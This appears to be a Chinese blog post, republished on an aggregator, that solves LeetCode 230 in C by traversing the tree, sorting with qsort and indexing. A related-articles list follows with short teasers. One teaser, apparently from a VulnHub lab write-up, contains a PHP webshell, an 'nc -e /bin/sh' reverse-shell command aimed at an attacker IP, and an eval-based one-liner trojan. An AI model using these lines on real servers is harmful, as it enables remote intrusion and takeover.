LeetCode 230.二叉搜索树中第K小的元素

news2024/11/27 1:41:45

各位看官们,大家好啊,今天这个题我用的方法时间复杂度比较高,但也是便于便于理解的一种方法,大家如果觉得的好的话,就给个免费的赞吧,谢谢大家了^ _ ^
题目要求如图所示:
在这里插入图片描述
题目步骤:
1.我们可以一维数组来接收各个二叉树结点的值:

	//number是数组的大小
    int* number = (int*)malloc(sizeof(int)*10000);
    //length是一维数组的长度
    int* length = (int*)malloc(sizeof(int));
    *length = 0;
    Preoder_trave(root,number,length);
void Preoder_trave(struct TreeNode* root,int* number,int* length)
{
    if(root == NULL)
        return;
    number[(*length)++] = root->val;
    Preoder_trave(root->left,number,length);
    Preoder_trave(root->right,number,length);
}

2.然后我们再用qsort排序:

qsort(number,*length,sizeof(int),intcompare);
int intcompare(const void* a,const void* b)
{
    return (*(int*)a - *(int*)b);
}

3.然后我们再用for循环遍历,就能找到第k个最小值了^ _ ^

    int i = 0;
    for(i = 0;i < *length;i++)
    {
        if(i == k - 1)
        {
            return number[i];
        }
    }

全部代码如下图所示:

/**
 * Definition for a binary tree node.
 * struct TreeNode {
 *     int val;
 *     struct TreeNode *left;
 *     struct TreeNode *right;
 * };
 */
int intcompare(const void* a,const void* b)
{
    return (*(int*)a - *(int*)b);
}
void Preoder_trave(struct TreeNode* root,int* number,int* length)
{
    if(root == NULL)
        return;
    number[(*length)++] = root->val;
    Preoder_trave(root->left,number,length);
    Preoder_trave(root->right,number,length);
}
int kthSmallest(struct TreeNode* root, int k) {
    int* number = (int*)malloc(sizeof(int)*10000);
    int* length = (int*)malloc(sizeof(int));
    *length = 0;
    Preoder_trave(root,number,length);
    qsort(number,*length,sizeof(int),intcompare);
    int i = 0;
    for(i = 0;i < *length;i++)
    {
        if(i == k - 1)
        {
            return number[i];
        }
    }
    return 0;
}

好了,这就是我此题的方法,大家如果觉得好理解,就给个免费的赞吧,谢谢各位看官了^ _ ^

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1825908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【枚举】564. 寻找最近的回文数

本文涉及知识点 枚举 LeetCode564. 寻找最近的回文数 给定一个表示整数的字符串 n &#xff0c;返回与它最近的回文整数&#xff08;不包括自身&#xff09;。如果不止一个&#xff0c;返回较小的那个。 “最近的”定义为两个整数差的绝对值最小。 示例 1: 输入: n “123”…

Linux网络-HttpServer的实现

文章目录 前言一、请求报文的解析URL的解析 二、响应报文的发送Content-LenthConten-TypeCookie和Set-CookieCookie的风险 三、尝试发送一个HTML网页404网页Location 重定向 四、浏览器的多次请求行为总结 前言 之前我们简单理解了一下Http协议&#xff0c;本章我们将在LInux下…

00 - matlab m_map地学绘图工具安装及简单使用教程

00 - matlab m_map地学绘图工具安装及简单使用教程 0. 引言1. m_map工具的获取及配置过程2. 绘图示例3. 结语 0. 引言 m_map是MATLAB中的一个绘图工具包&#xff0c;用于绘制地图和地理数据。它提供了一系列函数&#xff0c;可以用来绘制地理投影、添加地理特征、绘制等值线图等…

wps-文档-js宏-批量修改表格格式

目录 前言开启JS宏我的脚本参考API文档 前言 由于需要修改word的表格的格式&#xff0c;一个一个的修改太慢了&#xff0c;所以需要通过宏的方式来修改&#xff0c;需要注意的是低版本可能没有JS宏… 开启JS宏 切换到工具–>点击开发工具 点击之后功能栏会变化成这样 选…

Fluent固体运动的设置方法(1)

1 概述 固体运动是某些CFD问题中必须要考虑的因素&#xff0c;如风扇的旋转。相关问题可分类如下&#xff1a; 问题类型是否为刚体运动规律是否已知无特定称呼YY六自由度运动问题YN流固耦合问题NN 在 Fluent 中&#xff0c;有多种方法表征固体运动&#xff0c;包括&#xff1…

js编程环境配置-vscode

1、安装Node.js 官网下载 选择适合你Windows系统架构&#xff08;32位或64位&#xff09;的安装包。windows系统选择“Windows Installer (.msi)”或“Windows Binary (.exe)”进行下载。 双击下载的.msi或.exe文件进行安装。 在cmd中输入node --version和npm --version&…

word中根据上级设置下级编号

如上级是3.13.4&#xff0c;如下图 现在想设置下级编码跟随上级逐级显示成3.13.4.1 则在标题功能说明这点击顶部菜单栏的编号按钮&#xff0c;如下图 然后&#xff0c;选择自定义编号-自定义列表-自定义按钮 然后重点是编号格式这一栏&#xff0c;需要手动填写下前三级的编号&…

统计信号处理基础 习题解答10-16

题目&#xff1a; 对于例10.1&#xff0c;证明由观察数据得到的信息是&#xff1a; 解答&#xff1a; 基于习题10-15的结论&#xff0c;&#xff0c;那么&#xff1a; 而根据习题10-15的结论&#xff1a; 此条件概率也是高斯分布&#xff0c;即&#xff1a; 根据相同的计算&a…

Hexo 搭建个人博客(ubuntu20.04)

1 安装 Nodejs 和 npm 首先登录NodeSource官网&#xff1a; Nodesource Node.js DEB 按照提示安装最新的 Node.js 及其配套版本的 npm。 &#xff08;1&#xff09;以 sudo 用户身份运行下面的命令&#xff0c;下载并执行 NodeSource 安装脚本&#xff1a; sudo curl -fsSL…

训练营第三十六天| 337.打家劫舍 III121. 买卖股票的最佳时机

337.打家劫舍 III 力扣题目链接(opens new window) 在上次打劫完一条街道之后和一圈房屋后&#xff0c;小偷又发现了一个新的可行窃的地区。这个地区只有一个入口&#xff0c;我们称之为“根”。 除了“根”之外&#xff0c;每栋房子有且只有一个“父“房子与之相连。一番侦察…

设计模式- 责任链模式Chain of Responsibility(行为型)

责任链模式(Chain of Responsibility) 责任链模式是一种行为模式&#xff0c;它为请求创建一个接收者对象的链&#xff0c;解耦了请求的发送者和接收者。责任链模式将多个处理器串联起来形成一条处理请求的链。 图解 角色 抽象处理者&#xff1a; 一个处理请求的接口&#xf…

Portraiture 2024软件怎么下载安装? 【详细安装图文教程】

简介&#xff1a; Portraiture是一款智能磨皮的滤镜插件&#xff0c;该插件能够给Photoshop和Lightroom添加智能磨皮美化功能&#xff0c;可以帮助用户快速对图片中的人物的皮肤、头发、眉毛等部位进行美化&#xff0c;省去了手动调整的麻烦&#xff0c;大大提高P图的效率。 安…

基于System-Verilog的FPGA设计与仿真

一、System-Verilog System Verilog的发展 SystemVerilog 的出现是为了因应日益复杂的数位电路设计和验证需求。虽然Verilog HDL 在早期的数位电路设计中得到了广泛应用&#xff0c;但随着技术的发展和电路复杂度的增加&#xff0c;Verilog HDL 在某些方面已经显得有些不足以满…

Cocos2d-x 4.0 工程首次建立与编译(Mac m1)

Mac m1芯片下将cocos2d-x升级至4.0版本后&#xff0c;官方剔除了不同平台的工程以及变更了编译方式&#xff0c;直接使用cmake构建&#xff0c;需要做一些前置的准备工作。 环境准备&#xff1a; 项 版本 备注 MacOS10.3 or laterpython2.7.16(建议>2.7.10)cmake3.29.3Do…

LangGraph实战:从零分阶打造人工智能航空客服助手

❝ 通过本指南&#xff0c;你将学习构建一个专为航空公司设计的客服助手&#xff0c;它将协助用户查询旅行信息并规划行程。在此过程中&#xff0c;你将掌握如何利用LangGraph的中断机制、检查点技术以及更为复杂的状态管理功能&#xff0c;来优化你的助手工具&#xff0c;同时…

可解析PHP的反弹shell方法

这里拿vulnhub-DC-8靶场反弹shell&#xff0c;详情见Vulnhub-DC-8 命令执行 拿nc举例 <?php echo system($_POST[cmd]); ?>利用是hackbar&#xff0c;POST提交cmdnc -e /bin/sh 192.168.20.128 6666, 直接反弹shell到kali。 一句话木马 <?php eval($_POST[&qu…

在 Windows 环境下安装mysql步骤(MySQL)

文章目录 一、下载 MySQL二、解压安装包到磁盘三、配置环境&#xff08;管理员权限&#xff09;四、安装 MySQL&#xff08;管理员权限&#xff09; 一、下载 MySQL 如下图&#xff1a;为你的电脑下载对应操作系统的 MySQL 安装包 二、解压安装包到磁盘 三、配置环境&#x…

SD3开源:AI绘画的新纪元,出图效果巨好,不容错过!(附教程)

大家好&#xff0c;我是画画的小强。 这两天&#xff0c;Stability AI 将史上最牛的AI绘画模型SD3开源了&#xff0c;真是有格局&#xff01; 虽说只是中杯的20亿参数版本&#xff0c;但我已经很满足了&#xff0c;再高的版本&#xff0c;我这普通的16G 4070Ti Super 显卡也跑…

【数据结构】第十六弹---C语言实现希尔排序

✨个人主页&#xff1a; 熬夜学编程的小林 &#x1f497;系列专栏&#xff1a; 【C语言详解】 【数据结构详解】【C详解】 目录 1、希尔排序( 缩小增量排序 ) 1.1、预排序实现 1.2、希尔排序代码实现 1.3、代码测试 1.4、时空复杂度分析 1.5、性能比较 总结 上一弹我们…

基于mybatis plus增加较复杂自定义查询以及分页

基于java技术&#xff0c;spring-boot和mybatis-plus搭建后台框架是现在非常流行的技术。 其中关于多表关联查询的实现相对比较复杂&#xff0c;在这里进行记录以供开发人员参考。 以一个系统中实际的实体类为查询为例&#xff0c; T3dMaterial实体其中的fileType属性及字段…